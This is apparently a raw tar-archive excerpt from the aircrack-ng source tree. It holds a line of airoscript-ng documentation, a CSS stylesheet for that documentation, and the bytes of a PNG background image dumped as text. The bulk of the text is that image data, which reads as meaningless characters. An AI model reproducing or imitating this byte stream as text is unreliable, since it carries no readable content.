Advanced configuration will not be covered here, it's allways changing, and the most remarcable things are aircrack-ng configuration values and debug mode.

aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/css/0000755000000000000000000000000012660222377021345 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/css/stylesheet.css0000644000000000000000000000273511662075516024261 0ustar rootrooth1, h2{ text-shadow: 2px 2px 2px #ca9; text-align:center; } p{ padding-left:10px; } pre{ padding-left:30px; } body { background: #fafafa url(black-Linen.png); } img{ display: block; margin-left: auto; margin-right: auto; border: solid 1px #EFEFEF; border: solid 1px #CCC; -moz-box-shadow: 3px 3px 5px #999; -webkit-box-shadow: 3px 3px 5px #999; box-shadow: 3px 3px 5px #999; } .section { color:black; position: relative; width: 90%; padding: 10px 0; background: rgba(240, 240, 240, 0.5); padding: 20px 20px 20px 20px; margin-left:auto; margin-right:auto; margin-bottom:30px; margin-top:30px; /*** cross browser box shadow ***/ -moz-box-shadow: 0 0 2px #fff; -webkit-box-shadow: 0 0 2px #fff; -ms-filter: "progid:DXImageTransform.Microsoft.Glow(color=#ffffff,strength=3)"; filter: progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=0,strength=3) progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=90,strength=3) progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=180,strength=3) progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=270,strength=3); box-shadow: 0 0 2px #fff; } .document{ color: white; padding: 14px 20px; background-color: rgba(90,60,40,0.6); margin: 20px 20px 20px 20px; -webkit-border-radius: 6px; /* for Safari */ -moz-border-radius: 6px; /* for Firefox */ } aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/css/black-Linen.png0000644000000000000000000024545411662075516024212 0ustar rootroot‰PNG  IHDRâê*”PýtEXtSoftwareAdobe ImageReadyqÉe<"iTXtXML:com.adobe.xmp g®yÔ0PLTE !!!"""###$$$%%%&&&'''(((æÃa¾GdIDATÁOw$Ùu vlüdf»ßÞWiÛý:vùcý_ÿysÕý¿Ûáñ{ýWûm÷î×Ãö~ÿîaöÑ>v¿~Çõ?>Ä¿ü§ïýúㇿùŇß<~üzüçßü￟‡ï~qûýýã?þ_Û|øøáÃÃpøÍ»‡Í|þõð~ºý¿ß »Çá?l¿¯‡Ý/þ¿Íoß>î¿ÿ°ùéÇçõãü(ûýão?~¶9|‡ôøûßýæv¸}÷l·›ïÒ/þa|NÏòñé7þF¸_ìŸÓ»¸é©ÜKñ½té¡ó6áQŽéɾ:¹4½N:é‘]R•­_]³stÚ]´ ¨à :cJàzkÙ22ý–ðœ¥ôB:†È¦¾óøì„úNâÀ9Õ[±î-~fkK±—¾E=ì ¢Ür>`¼ô[ég`°V9îÄŠŽ¦Üo¹¶Ái÷1#ùr»@„vׇZŒš…"¤&ª+ŠL"Óˆ Ÿê¢9kÍ9Ýõ€#y…˜ì= ¾8ù-³õÓ¥2¬ô)µÓ㩪ݵ´ÀN‘â7š,æ»Â…~àg+W퀨­ãŽó£ ͦԛ6X‡`©W¶j-x£Œ ‹©•¸Ô2wÓÉW¹¯ŒÒf™/ Ñv T•P½åþ´Câ•.æçtm¡<7 ߺ„`¿›Šûòäi;ÐöýæUdìÒ½Ý5ƒ/7}Ho;a†„d‚˜ZÛÈDØøÄ¨²³ÕÄ¢ÅÒôsТ½†ÉyA æ´zÑœbÏŠÂ;{6‡X–K•ÏO#¹5^8íOíÿ¸^˜göÚcQU–{'¯hH+ åJŸÙÊÏ|î º!7¢‰šÅò­~ë6šczða ¸ì¹kjBÀj8ƒK}JOÜùßòüÕ ¹Cú»~_#ß ï¶ÆDŒ‡näp{#qþÏNª4í1nˆ~}u¸#n”Üñ[(£%{õÁË“z™>Ë#„¼1-µùi3µ×HV©¨Êë©­rTº¶Ÿaãµ]Óü›)ž„C_ø  Ìœ¢PÍ!. Kä(€0<ï:.eüig$ºn”ñûÏß?Št[*ýAÞa8Œ,Ãö÷>ua›Ò!øqqwüó“µ:_©UŸ/³ù[cUAÕºš|ºÛL¨Ôôeq½*X•g"¹5e5’瘺°ú&^+ˆåWTA)lTH ÿØÒ5$sj¬&*.®çןOô™ýö¯3TE¼‰¸>SËÉ=¼XÙ(UO‹ 3_‚QKlȪÕˆÍÄuPþ¼žç„FII-·Aݬ윯ш Q¦}ís:eÇl©´m­©/~ØdÓošùÄÞ¬¬²ªðU“æÞ®«ó“oÝy%Š”©œsc¥MyÓKœ&âÿÒ÷ CÇ¢ûn!¡÷)lX;¼O[zõ˺єDvÃ!nŽ‘"û·á>™tÕI`´ö±ÎùœÓC8 £çÃhiKùpÉm_yd´Éïö’˜û‰Ä»_ÝÅ!D”Á—_f#:Q÷$¨Rt4ü:Àô Ì| mO÷i°Éô ™õj!BlÄV¹E—E6Ä$Öò2´T4Ëó“ÿÍékçèÅŒHˆX0BùÆ»˜÷’’·Ôiÿ0B§öØáfg1’t)Fo{'ÔCï|•‹= F& ›ÃaØ#=ÕzÓ÷ö»ýè~àöûï>6ãó±Ûöa”úþÃ(ÿ@uøÀ?`¿W§Ÿ¼s§í!‡˜úŽ#ý¬Çàx䄾ñWOD©O¬Óàëùn;îM’MÇLès,‰Ìç7¼0Mu.I1 îþÚâë1/NZçšAÓ] ²Åä =”2ån ÃŽ6…ë.iÕ6Q¾MTG  .yªÁdˆ mû>Û1%’€ZmwNÓ„zà (i¯¡íà‘ÅDêˆ.Áms£ Y1 ‡š% Ihf$oQâ„za‡5÷Dü ]C?O]äUJÛQÄ?%$jy#çO=‰|Ó§]ÓJ}òm(…5XJ¾Ž–}¥mÝ kíÎ;nŒÀ=öÀÆóÂYp"s䔑„ïÀë2á6ʃtý³’šF¦Ã1ìn%{Žr³sGH€ýžØi¯‹ÑÒw]pµß“ìn›¶¶Îmd8ÄxÕvûK¹•CzY¿»ã1ÀÉŠÃp§™ñnèöm |D×ø$¯ˆ^ÅrÇ„+½Rd6ZÏ ì…p˜²“7™+^®èÓ"ÓhM“MqV¬Ô²˜§*³ù¿^©àÏŠì qî]µ\x‹¥ZŸ-OÝÚ^ë¢ý|UXýeðФˆ "@ ±†›¦ÐÑ)Täû^ÚDr`í]K„+¦ºÐyXE2¹rßÉ.k—Žv‰â`µãhk˜DPŸ¼¦š«¨ÉÒÂ]ö…2g/Ñ€¥Âz ¥]³ºðË\Û¯&g×fy¾ÀhóùÜ7»s™]Wç'Íü_-u®'ù¼ò…÷ëUáÏLÞ¨Ïíy ¼±H¨HÕ8tä¢î¸Î»–ØSè)ƒô`[U&âAp·©!õõÀïw‰[ú¡£z$oZ·ûÚIÔB¸Dç"L„„5ZWîœb¡G:Dà_…±“ ]RCHpI@=/°6TzÖVñ¡Ô6~–7¹¹ŽÈàßOA/W×vºô³sÁÕŸTEa&7k˜ú³Ó»ó“·ý‡8L4:Ñšá¥ø .ì´)‰ž°ï@ýu€®·Ý@Ô;< [¾Š”ÆmlŸ/ßÌ”{×Áycï À›ŽŽoýVŒÆ—’¤|ƒË ŸÝ}Î (ãs¾õÇß„8 ñ a ¡Ã ­pã¼pG¤ë} é¯êƒ$ǯÕŽ}fîú‡¢CqòŽ-õÛÛƒìv›gw8üåI{ÉL&)»Ð{U$UOŒÊRßR· 4—˜­qµ ×â1ºkcÚÇ+ª$ieG”—dY²€)Ê…,æ­Åë­H‘Å–Ú&çÆ „Ä3¢p–V4Y–…®k¶…!Œ}× (v/‰Ð¾ YYç¹P_B×° Åd åZؾ饫“IËžˆ m(z•‡;L5ðø¾{yr·U~ =Û'æ‡ä#u¶«Ûéðúu·¤0Œ<ûWcdܦŽ> w£$¢»Át÷²·û÷ôáö2 é¹;|à‡Ô¿¤¾–;{—úÞÈ@ÿ¥;âöЇ §w)mjN[øúnJ®ix=vVRÚ‡ÁÇ#ߎ}g·Žã€è¶Ý;Æ.Äqaé.ž9ôþ^ÚÁíF¶Â©`Øz†QG€Kw€KP…Eî»Ãf/qè_%‚.!Ýuçï7ñÕ2¤°3ä†z e­btAL$—{' ,9¢ô´¹f¸Ã¤ïŸ£¿·eàÄD‹þàSÙµ4!«Õp€`.y ({Ù Ÿ´Ð#gI;¨ÓÑ:WY{yb'BÄ×È,]iýörÊÎ82½Ϥ6ÖÉ/zÛk¯âýLG×(`Ê…ˆ`žmgW¦Œ%bAvG° HdAû^­Ù’¢¢«-5¢¯d@$OZ—UÞ3‚#3¢Ÿ6ްF•KÚf_½ëã=Ð)¹cn>j7`)GR¬¹Z$Òç'?ç_§˜ˆ¯öCì“ÕÔµÝfßwÄ­ë†ãæ®ÆÅaHãæ‘nyüÙq¼zÚ»ÇñØýÍ>Æñ¸û©<þgy÷ÿõŸÞÏãñÝã86ýøÿìGøûð] £î?FÁ:$cÙËðnßÝöß Ûxä§±ÿ·ÒõW¯D¶>n^?¾þø!ð»“ëéã÷‡úwã6ãv+ááã6Žÿâcý_†½=þnøp_»Àö˜ºŸàö®ÿqßÚyˆ¥ C ªŽùž‡¾lGŽî¸½Ý=Ü¥=òŽuù$©Ëž^Fj%K &b¦xmáÉììç'ÑL"€M"ëÂõÌ¥›h}qÀš–Tí“¥ ¹´ˆ…¶‹ñm¦¬o”ÅÜ*jZ{¼h¼Áœ AàEa.{WT×öæó ë£IéÎ=õ¬2"°i†ŠWvÙþüÍy¡¢i–F Úƒ/M& ÂYiíyåbkÏ#ÚiUR$ 3׬[RkŠŽWƒQÑ7e¤Ü³)ÉXfäÞ]{ØEPm8yeŽrã]@ Q£ÄWòõ/K$æ¥êñÒ!@þ 51zÄÄLS…¨I{r;˜“¥55ßJ„kyäÎE.\\áüÁÒjKÈPx‚š­©Q÷ˆZÇMìÝ×#ètHÒø†ˆ…Ø‚Ö-k˜’Ûj& !49Æ•Ñt Ú0 ™>£¿¾q)dì1ç§xE°‰‚PÙùÓ“¿MŒƒ R¯É+P¢/UÖƒæuQøCtƒ¥\n¯Ø¦BI½9JT$²KtÍ$^Ö—hµøë¬'é¬Í|;¶=™íóân’LRþê*à|[?E¾<5Æ,À|“ç!P•Ö6Y(} ú¥ç1^Q† D¥°}‰ÒôvmQµ³‰v;âÖåì m¸ý¡Fz]•o(Ïh®yHƒÎ#‰$ãê“ëóééÅ…úƒùVVÙöt>ûÑd’]TÙÍÔj’ý÷góâæÌ6óùª^/Îàz2ŸÏ*°óÓ¨©¿Q¹ÿáÒ(¿Â¢*´&zc“Ã\ȃî¦Z¹PÆb¥ŠY!…µx=N=Ï ÄxÆHe±BcõìÀŠRÞœûÚmÜb,Ô ¸z©&T˜Y‘U:®f­²b®¼µz6Ǹòʬ­Y£ææ‹Oý.ì—çföéÅÅÙæíDŸÕä´XšOª¹_«c?÷h®>e½2xñÒ¬V™1—Í)±_Î-z«[ë'É+ï®—j¡H¬°eF„ÏP_²BAz”ˆÏ¥”w[v;É«MJœµ7ð¶T©HC½ñ(©Mj.šîD]¹TCøþëFi%ÝH¾¡Rü%J€Ôé8^ªÏŽ"O+t^³S7½ˆ£U›CŠhÈ/”Õggù7êÌ,—/ÈÌ2e´]V7”Ͳxqòó¤(”ÁRÏÄVíª`µªã´'Þ],¨–Ý%Ù$l™‹:B¤•UßíŒF„º‚xoõE­\ÊÚxÂEoϋ ØùÚ4z¬}KÖέ¥X7 s“ãKPó³ÒÒÜTn‰çÕyfnÈXíRÓ Fñt>­èF¨Ñ”Æ~ÖH Š£g(¼ödF‡üšèr¨˜?# ðïëŽ6~J¢JE-6I%j›W'¿u_Æê2=õcì»Û.ùí-ývè®<¥Áu¿û¸ý¸‰iÇèØ…n§S¢r $¨r.8V©·Ø¢8O$ÃÔã ÖÌÞd7çžÙ5œØ¹Xó‹)O‹Ò~¹Å½6_`ûF¯ÿp®ðlU X“4°Ëc'öUY>‰$ÈÚÀŒ£Pj¨ÓÒK7ÐU'‡qì÷´¿íF–ôÓ˜Ž÷ºñÇýûÇ˧~÷qáp|uòž­¾„cé„Q€È#È5¸8§šúÓ*˜´ýÂe“]A´ÚD³Zéve4©Ì<–4+Z«ôÛuÅ {Ž  ñ2¢ÛåjöÍÏüÙú—d³9*íÐ,|•£Î[¡kþolÑ+ÿ¹NT¤`®¯óÆ"¨QWçÀ8ÕÙ©7Òä«Òc4Û‰ÌVÀX¡9;¹‰t×—) N²É,­m«©ÁµŽ‡˜SHÜ$zjâM}òíÜìz•2°ôŽÙ€¶MyÕßD'/ É—©—z’ùÕÀmµ F…õ OÎK â–žmÇ~N?ÙHÑê˜4t6 ¯¬KF$ƒ("+jÆ„¢Aƒì„aAô!Ã&&†#ß_ú›æ=±°¸KJîË „Ð/rKô5%`E ¶OöÎEÏ©~À®HAe%-eÞø—dÜÒØ¶”Gðø‡';*2ö£–žÃH5Ç(¼Âncêˆöðl j‡]-aÝŒ„O”¹ÞÞpB …óèºidN"Ñ åÐÒ¼©8]*{ñmý,Eƒ/ÈõŒÙ½ b«W­ÃÜX„Òz¿h˜ Ûº¿uÀƒ@è Êë_¦ ƒ Ø0Åסÿh©îãn¿÷ƒÚ±$ðÐåïü¥ˆn¹z+÷÷¥€ƒÜóÝPŸp¨Õ&5âñ±¿íx;înï·ÿÄO÷Ã{kþîcÚó÷¿ÿi›èò!Þ=·| 1´ µÍ±P‡dW" ‹Ï¼!B”]†>˜:ÛÚ˜CêÞ“ö  õб ႳGûI¤çûÑ>lËßÿôöº´ÿþóヌwᶷǨ·‡þî!vwéÏi{^éw·ãÈ=¼>y£¦s§`:™Ù¨ìêB¹åj5_[0g˜A=Ë­AÍ-ôyC‹;Ĺ=ÌhgUF-3P«@а*w1Y_ö{‘á]o¶:×7òž)F#†Ør|G±Ñó>þ1c%ù5=”„è‡W ¡Sîâ1rÚHxî.‹ä°|MJ<[91zgsç!fÒ×5f-É—=»h1àü¬1fRÌüM¾®²‰ñsPÅ•:«N©¤ìÚ¼8¹ç…bNeWíjæ&— q¨œÜ÷燞J]'¦Û^1¸Zê!Y¯ûô6vIŠÐëqñ¸äøû}ìêžÒÕÇïwòÃ+~¦4|è~× y” äèxÜ ñrûq/]x0—T·ý¯†á¦»6ãv¸=v²PûÞnþ'št$µÛ‰cAÏWuL»7Û¡ì= ¡;†W>~]è*¾KYOeGuM—,PxOî—~ò·u®¥‘sصÚB²LÑ(WÔ.N~uND$ðù–jqÚ€8ND~ ¥ÜœÁ€<k7(ÜE Á¢éUoI"Ýéa»toë. ²‹ûÛwC0ðgýxùZuù°AJ)R~G¯©¡ µìIsÄö‹ÝNDÎ#ë’jå ïP¢v¹C ‰d>%*î~@m´Ö¨ E+$Ê^!õñO¾µyEJŸW¶'b¢Gh¼¡ Ù“„`ÀÁ?pÝýø7ÇN‚XêˆÕ°;§+J}ç‚烮 ;¤#E3^ŽüôÜhÀ§Ž$Á·W0¬dwd1õZ¯©cñÙ%+0o–4ŸÃl®ªâœ*W¨Ê/О–æÌdju:_γÙÅù¼Z­ÖÙìGÙf_]¼ ùÅ…Í*µ¶>SŸœ©©‚òË‹õK;ÿ#«°"å¿\y›5(F]P¥Ï‹3óÕ—åõü³É²¶_.•-Šj^}ågº_žªO>«ªl2ɾÈLuV­.>ÍÖ™õxV,/&Íô­R?^®µZ-³Ÿ“ZœžWfòÕòbš5…¶….J#™E¦'ê³UªìÙäle‹9ÌÔ§“™){ñ‰Švú/UÕÜâ´<u¾‚bº*&…B˜\TEÅ'çýôËÖØ–.2o€‚!>äê=D|VÄÜD¸9÷¥¡¹­ú‘ s+3Wt‚ždEÉÍh,ðf`‰¦v}C…%k¬jm‘ hϰ ´¥ÑżPõÙLHfö¥ªN•­Ô:+À®•ZþªÌüѤ)f׳™jiâÙìt'f^ÙüämжD>¯Ì‰¢ ä@Uobñ+·&”‡acUÏ5v]díÛò@DѽÞíY·Òq¤û•ýú¹,‘iŒ­«Þ⨿3H}J-ÒW**ÅõnCïkÿ@R"jwé<&Òì:ÍH¶æ\H!eÓØ@91!ˆã=xJûñ¶ åÎOawÀ*ZuN­Ñœ0yüZ¼]²u¶•—'ÿáfÁ·ô€}$ ÒÃeCÁ&ôÐwnðÒîC·ßÔî˜^öûwôãïB_ƒÄ§0YÞklAŠw×ýw)~+ò¸êÝ/†Ë®vW|û=ËÓ} èƒ|ënxHQ'ÏÏÝØà1ÌîÉ¿Dž]Ôu’±ûnüþé¹N|›ú_l\—ÒG©Óö8lDZâ:zpìµ}ä§q”ç$mn‡ør8vû¤Óc$¤Æòó5J<Ð@ñ¾;¹Ð/ gà<‹r‘ÛÙ¼‚ =C v…4$'¦ÝÎ߉Eä¬~Ç!:€Ð¡ü°(,˜_/ÙƒQÎØjÂÞ¸ 0qÚÎ.¦Í­Y©buÍóuŽþüä;ü3é(ÒÍÀcŸnÉ“çM•˜Kå3zàíÈu=öÛþö­qé5ï€@⥧ €P”ËÚ¡Ãý€iºãŽ6#¶ƒtݶ‘ÄǰôÝ1^Áðnì»÷õ¸ w£ÙnßÕÉ$Н“N©ÃîÃ]èÿf/7ÛŸìC')- )?J 4¢ÚH’·æ!òô?q×oGá£Ä¿½ß„ôØ‹À%‰é1¦m‚ØR¹ßíú×'oÍgÅ|e'—™Z©bµzY6ËÕt•[³Œ ¡š•¶‹©'€óUgÚf¬ü|fqÇöN»¨×Z3ÌÄVl B"þ<[™ª´ö+ûæ|†§~m‹kUQ©ùÔ~5uY–4L‹S™_—3˜xmãòf]YOªŒ¢¡ÌçZÇ*Ë)I¯Áž¹å»ÂÊ;ží|Æüè¬0­=˪‹•ýbþÉêͼȌQ³¥-Ì'ÍÛÅÉ=U¶¥i67¬p—½Âe–Ï‹Âù³/áâ…GÌÿM?Ð+¸9+.?«ª šÂX;W]+±•¾0~e_ãzÍ€”hYv8‡y{¡&×ç3¼° }œ³vPK7ùŸ'&榘h gå\ÏÞüp¥N³oê¸X7*ÁJ!ﭪع=ãÕŠzu]˜ÆWäj¶©nŒ_)μ¥šË`ì]N|4t‘¡.WË©ñE-V«³õWÊôÚ.Nþó¨»mL–(ÝaˆÛ-‚/1…¤¶xìyÏ® ‘—À1ÅFŽ……ÆZ;O¾…eÆ„â²,§…Ú‚"&UÆv­¹íIh‰î)êOäAÕÆ%M‰ nóÒÒaCÆ“w—Åù€mÜUÇ)ÀÐ}\Xö£ã wÌ7P‹ƒÁÊshS¡­SÉÙ ÂyÚ‚Æm*Œ&ÊÞ¨ mkq5$&_“ÜM“¬;Âs‹—º]ŸØVØÄ7/O®ÕÔ: Éì«Ê!bn5™Ï—¶°ÿ-CyuQØÖ*bàŒP[Î-ýwc»2€<êë]«üë¿NÞ‚€ßņ Žƒ%A/hñ_Yš+Ø"#iÌé3?OgÝØiVζÖ* ŒÉªoz@È6\îÉ–NŸÖÖŠÍHÿÊ– ”¡0J1ÜWp£Z"#ÖX­VKÒˆ/¼Ÿ¬Šu±¢ÂjÇj]­£n½7ç'Íl2ËO½šœ]4Yµ>-³/Ï u1—ë3« ›Muëç+,iÒ"dgÚf-4B¿+°Œ ÉFC7€ÆÑµx¶ +­î¦P(Kquy(Ì ®“¥ k½uÚõgÑ–Ïrµƒi.«©Õ–ÑâuÏbuˆtÙè)–´vg>kaFl•=K¸Ókh«9Ì èùœ ¥ÌEµÊ˜'ÓU1]_¬/–Õi¡&Ÿ¯NgkµjfËU~ò€“„†`E§Cc#À÷ª ]h mzpåîØÁxsÉ$Ý»£Ù‚ ÷»¶ëS×µrKãs×=ô`¿eûWûÔîˆvïöÛ#Hº£ÍÞIÿOo}è~{8Þ»$aø~sµ£Kzýº£±=^ö!õ¿}øè’Ôû£ ãÏÆ¿üîu¿éùô|دû«þÆ&•|Úu»ãk¢Þ…`ÇKtÃë‘3¦Ã#°¦s¹Áõ©÷Ç$t/—'ß“*[Ùâl¥üÅÄ/auz6ÏV9øS²­=ûAá›ÔB«Ö€/nÎlŸô—°C£³¯ÌÙh(‰Ç¤¹v5s . Ŧ…èb¬©àh™°}ëË£‡¾ß2dD­ÄD_{€H,=¢@É‘_¬8ØÊ–EÈ,Æi»ë¹¼~Ë…²öÆ\Ï æ† ô@•-¤¸°§ç&;óóåÌù‰Vƨ‹¿¾6óªˆíùÉ›â<ºb>…KK¡Áâµ[¡¯Zp8ií¾Ê½´•Œ‰+M³ÒT« þ¼0%ص?Y·Êèj©«‚м™•j·˜[¼°ª˜\Ì«ÏÔz5kô'æëåº;j`:[éÕ™©›}šMìtþGÅÅê³/§góe¾š®+«f.—ʔ꼔æ"+/p]d¶\/¦Öæ «>ãjM¾pdo,}ë{§8ªæ´4Óœ&f-*o´²o£Eû•W'oHY0ôBqïCGÊMÍÜêÀŸ‘B˜O½`†½£ …Ë ¢É¬ Ì””ÜWjîóÆ ­.gÆw úV÷NAà(¾ºÓ€¾èšÁ÷KËê.£”$M–ZÉ/«< xï×¹ °ø\Ð%ÅêÒžíæ íÔØä$f¨¿U§æ@Åõk-BPUg˜÷x½ð¤î.fsEî0'[5dûbÕ]žä$”´x{xýËA1yéºá @Ç EDwkÊj$° ´L²µZ*ÞGU5iŒd,õÜȰ"ÝPž#ÝèhÍÊç%͵[bm¸€€ˆGu)G€/ QƒV`•mZÖ„ìXHë~(œ³ó Q}ãb DMNDÎrµ‹–Å%Ýñ¶ãl0ñTMAíЕ÷.¹€¶mÚÚrc³“;*©£° >øÐ’ÙÄ„GxÚ„Mô÷ǧÎÆ0>öüõÖ%Ö½àûEJDAù–h´Z0)ÉX÷w}-»$ù®îÒP8˜—* pòŸ.9QF2Z D —àvq×r´_‡x¥äëÃP~]ŽºÛ ˆ!åŠZ¢àh›(5ô^ó1þýø‡ãžë+&½gþ=^íÄëKmoƒlËÍHD­'7ðÃÆ!/Jk£Þ²ù*Sî[³WÈ]œÛÈ*¹„eùW:~r©³¼Øá¼jWFÝÍàzzÝ¢]Ù%Ĭ ûæ+ZùRy¯ÈNæsm/WóƬ+<µËí\}b­Í¡š_Ù;å {¦7¼˜ÍÔÅõ °«ªqTkd ¢I·¨& 0³|~šcÕÔ+6·¶uÅ„µõ Y›@PZs†‚Û©nü™µj%±Â ¿é©²ÿöä}*ÅÒ¡´Ô©¿cŽA•éZ\ï58‘†¯7¥ÈSlþ„4 sÚ‰Ö¨nˆÙò ÿÖ.†FØÕ„É‚†ÜZºP×Ê¿\Ù³x½*pb&¨æÒ˜j°:ç…ýÒVèVŸ/|Y९ʂ|Cˆ %æ ^ÊÚ,<‹m‰^v"-mH˜}GõGtÄÑö~“˜ÙZ|¤À–s9ê:†®î7pïÝPË>¼öQ B>Ò~x~¥[ÚV÷Ã×'ï¿V 7—V}†ju~9š ˆŸÚŽÖÒæä-œc4ij‚àµÊÏ, äx&ž‹¿@k7ö^8bÏÞR®tƒ€6_A,+OºäYÃô¿#Q"ªÇ®Ûb¼é™’ëe°Ò€ëï;Ç}¬ÓÈÄÔ©wÔOÒN¨FÞ„…šñ¾# >('Ù6b¦d–ƒ”©¡¼Õ’G„o°¹RhU¥æž<+åÝ´-ª ­!@úÚà_°%l1;iÊs ΙºnË\6³üêÎe‚`VÌ-]A5!º4 ðóV£÷»ˆBˆuADìÔ½XÚö;éëú%>mÙI Ã%¡«Cv$¶÷©ëÇŽÊàÍqpo‡ó»RQÚí; ±³?.@‰û×}È]{øKTÄ|"¸²Uà0¾_)Ñ1[ ¥yH¶XÝE 39óf¶²‹Š a°sOHÙµ¯O~2+)•^ó`ïÔ9YÑU“R´`WŠÊBw‘¥ŒÎ­]£ ½LšŒ%DOÑÁ,¿©É‘_5[0 §^˜à逸 sï=x2!ôo –BI 0Tºx5Ûö^Ç|‡°°ý5±h$£Ã@]”ö¬-w¤~èëÈÀæ-;sDSEK¹7 àL-;œ@Ï·«Z\IÜ‚ß1Ò—Ôù„ Qþô¤2S&ÙRñÊãìêlªo<áÊX„Ó9RTž?k±sñŸùÂöÞ‚*];½0qþÕb¶lf9`UtªÒU¶œ¡™Ì/æÅô9›/ßL—ËÉjU\ü蓳¢8;ýtö£ÉóÉüâ_N–óqvúÙÅÅd6?ý¢±Ë³bžÙåDçż²³`ÔTýð_ãye²—:£Ü˜BÃJÙ,./ýWŠ KimÑãmMµŽ1’tµº˜€÷PØÜܼ±ªüt)ç'×0µPÄ (äœ"°½YÉ"Øóu¿Ž„<›ÑédR­f«ÕëÙÅL2Ÿ®OotT§Ÿdv6mA“úm9Y4Ÿfv².Ð~ZYemQÔ­½Qm¸°¨˜ù.¶ÈVî¨ìº’ €#·sw}–V±h@AìŽm—Ô¥ ¡i;ǰE4PŒL„V§> GC2BZÍÉÔ õ¬Á¨æ9­ÀJ\‚ÍÊx¶²qÙdËL¯Ì̆VÓÙêôzv–]˜Ól=;_­g_Í«lö…™ž´zŽüùÕ]r%‚ ôA7÷.*Ø4"2ŽÀÚW< ²¢;*¡£ˆ €`ì3‡K‰–“4&ÛQtI‰5Ì!:2ÄM^¹¬i„Ä“î[ ¶ [²ARáV±¶%«ã1*c’í; aë€4EðŸ‰Eâ<ºÔ%“æä ì®_ܨ…ï¾îl¤²$ÔéK[ÏÅ:}Ä9ðÍu"ò­è“·¬‘¦ @YÜ$ç|£qSß«DC»¢×¿T?§;ÄîP×4%!Ùaê^x-Úwû-ׂ¸ þýAÀ#o’‹­@.sRowh(j,°1¯f¯À®7ö—šÊ ¢“ȃ„á0ð[–uÅ›ýÿÁÍ–$É•æÜè x¨s´e££¥&ÿ ‡+!#ܳ›;d¸™Ga%¤›]ól®a÷^‹7SévÍ#{´A…›{f¥éŒˆ,jE¢*«AîD zø¤ž@ÁïèR ž™ˆ4¢B.¤Ü…“ŒBkLìl‰Ï’LÃ%Ex+’Ö6pBÚJK–âòd Z2•–°Ì­Œô Öêµå€æ8öýÂÓ.§ý¸IÌS€~GIeî:L+nŸ±ù§Á¶6}¢þcŸóž6Ͻ )`’p„–^yëWó;þ/ñ¹ÿrÜmÃs^O/»— {Ç¡·›ßJx ‰~1Zci%ák`ÛI¸H(ý;rÓпÒÔÊþá lÜ|r㟥YBÆ<ö€š¨Ï˜^\Þ>ÐaÓO/éõø[·‘Ÿv“<‡ØÊ·}°ûã_wë£}éûŸ¾l Öð1ô:È1È&ŒéÃô˜‡ãÓf³‹ýa×cÿÓ%óJ»6þðq»Ú|˜Ö‰úçü9î3mFüow§i÷S\n¢³ÆÝÑÿVèíˆ+ Lé(ýÓ*‚ë_i%ßž<§ÚCâ:Ñá3d¤­…ðˆqhGG|S2x¤çRK[åNA=§;6‹ =e@ó.&u£çý5½mÄE½Ø\Ì ënq?Ç_.äÂX„¦1uÆ”²R~k›ø ­ò9œÃ¯gå­>+<ùª0Àä•—J)mÏÙœvÑó­6¸¢[M8ׄr + csè=v¿ pê.ÑuFýžúðLO»Ð'îN:*,u\c4šˆu¥ª¸ˆU¯)WwB©ÅžRÉÇàzjE´×{Ø;ˆ²]6,Ö¬Ág ’§‰ûqîG‡0a¢,c0;ÞçœGäi|JC˜r˜ú}rkû² æ?lq$ÎO9Ðj³cÞßÉ×þ¡ÚÊÛäE$jŇGNB4íöÛWÙ|lŸï>Œ»Í_~?Ç)}˜žBzßïC<~»¿ _dj¿L‡ÃÛñÇ—ý¸ü’Ã&lÿ 6ã§0Þ¼þç–——/›öãæuóϧŸ"=¬õ¾—9qÎëM„~´á¯2Ùq„Íš?§´Hi3 <gÓ”6Û0 ½ç!å0É=î;{êR{ò/›4IÉ-d’I4WÊÍV«\ ýF [“á-—>´UB` Ì` QÂDmÎôÈ ,yK´eÎH-(úÌŠÉÚ;–…àž‡®gÁZ8c…TÀ'Í>„©UÁor×&Ò Kz“att›Vqa*&Cwh t$ŠEÅôàå‘R¢¦ì…¨q6j£P,‡–%’7i´÷Ó7'#»}ܹÑ|I›Qž`t#w¬¥Ùï>@º;ü7Þ}Þþ?‘ýQ^¦~Ç]¿yNÓ—Ç>kˆGæâžÚ?SúÒ¿pÉ~¨kML5ù®zLYÄ‘>Z¶#ظ\?S”ÐKÑËÆõ82²YR ò«úHܯœ[äþçÑî‚;²Œ)å—~j³ã÷AÔ¸ÞÓ”?ü§ïc8¼ö! wüqõÃ9CÍòŸÖ»ÄSN= mS{òçTz`©B™Ç̽È@ëGÏYÓ4Y ;À—acwùn>SÝ1My¸w“LœÃ`u/H£lvaÌýæpx=bþ)÷®ýfo?O,?c÷Ó§/ÓO¯O}^¿äõð—ÝþgnÃGÞñÇœ|¯RþaÃiœ>Ãt¦q²üß{êÛô„».Þýœù˜û5“LI¸yý?ï2Žã‡]â4 •»”ìwï¹ojé!ô9åw ÿm}ÒÈ%õ…=÷‘ö©Zp E´”À¥¾x.Ì©$qt' c®9øŒ`-‰×´jïMRU]á{Ï<¾¤ž3’$r:Ñóo1>æÎØÁаÛG—÷S?Þ¹¼ìÇëïl¿¦ )¾ákàñ)›Îøž&IÔ’%K•“UÆà¯nF° H =­¨ð™‹x+Ðh®Î8B¯ HEgç-ŠrkÇZÙÅ ï]yòjK1Û:r³dýÜ&+’}æèà(º½ /K¤ªµ]ÄëÑRÑà•%\ò7çàãÊ0![ű²•ò`¼)l)ñtü£ºÍàe‹ ~Oñ\7mWtn´p® —®e`Ñ}T l Ú tŒsÿÎÔC“l˜*ž1ò†‚G ,‰‰Kö˜êošàý’œõ$dïsuòVÏ7cL~¿cÝFû;ú¯C‚]êƒÓøãøvw>=ÕÓAÒXO8½Ò—Ã8ý$ý4´ÎûDG/¯LOÇî/ÓôôúáçÃÏ!qÛÿ÷ÿ<%é÷ÒO<½þóË:l>¯w˜Ç¡Ÿ'Úõÿþš ç?Œý]ÿ×Çq”?í>ì_ޝ4þôe—Ÿòø”è'ÿú3C͹ÿùû‰¥dÛ¼ÙÄOù /ÜejûѾNiã83NÂ6÷ôÛž–­“ñÀ›·'#»}ܹdH¼å Æz¤ŽKº 